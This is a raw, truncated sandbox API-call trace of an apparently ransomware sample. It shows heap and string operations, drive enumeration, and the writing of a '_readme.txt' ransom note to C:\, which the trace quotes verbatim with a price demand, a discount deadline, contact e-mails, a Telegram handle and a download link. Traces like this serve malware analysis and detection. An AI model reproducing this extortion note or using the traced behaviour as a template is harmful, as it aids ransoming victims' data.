(lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037c18 [0122.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x854) returned 0x3091338 [0122.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3037c18, cbMultiByte=-1, lpWideCharStr=0x3091338, cchWideChar=1066 | out: lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 43 [0122.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x3091b98 [0122.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3091338 | out: hHeap=0x5c0000) returned 1 [0122.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037c18 | out: hHeap=0x5c0000) returned 1 [0122.599] lstrcpyW (in: lpString1=0x46c450, lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" | out: lpString1="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" [0122.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3091b98 | out: hHeap=0x5c0000) returned 1 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x56) returned 0x3061360 [0122.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x989a778, cbMultiByte=-1, lpWideCharStr=0x3061360, cchWideChar=43 | out: lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 43 [0122.599] lstrcpyW (in: lpString1=0x46c450, lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" | out: lpString1="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" [0122.599] lstrlenW (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX") returned 40 [0122.599] lstrlenW (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned 40 [0122.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3054f00 | out: hHeap=0x5c0000) returned 1 [0122.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3090f70 | out: hHeap=0x5c0000) returned 1 Thread: id = 296 os_tid = 0x618 [0122.969] timeGetTime () returned 0x9b21 [0122.969] GetLastError () returned 0x54f [0122.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3bc) returned 0x30927d0 [0122.969] GetCurrentThreadId () returned 0x618 [0122.969] SetLastError (dwErrCode=0x54f) [0122.969] Sleep (dwMilliseconds=0x0) [0122.971] Sleep (dwMilliseconds=0x3e8) [0124.407] GetLogicalDrives () returned 0x4 [0124.407] SetErrorMode (uMode=0x1) returned 0x0 [0124.407] PathFileExistsA (pszPath="C:\\") returned 1 [0124.407] SetErrorMode (uMode=0x0) returned 0x1 [0124.407] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0124.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x806) returned 0x30f90a8 [0124.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x398fe60, cbMultiByte=-1, lpWideCharStr=0x30f90a8, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0124.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x3044330 [0124.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.408] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.408] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.408] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.408] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.408] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.408] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.408] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.408] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.408] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.413] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.413] PathFindFileNameW (pszPath="") returned="" [0124.413] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.413] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.414] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.414] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x806) returned 0x30f90a8 [0124.414] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0124.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.414] PathFileExistsW (pszPath="C:\\_readme.txt") returned 0 [0124.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30f98b8 [0124.415] lstrcpyW (in: lpString1=0x30f98b8, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.415] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it 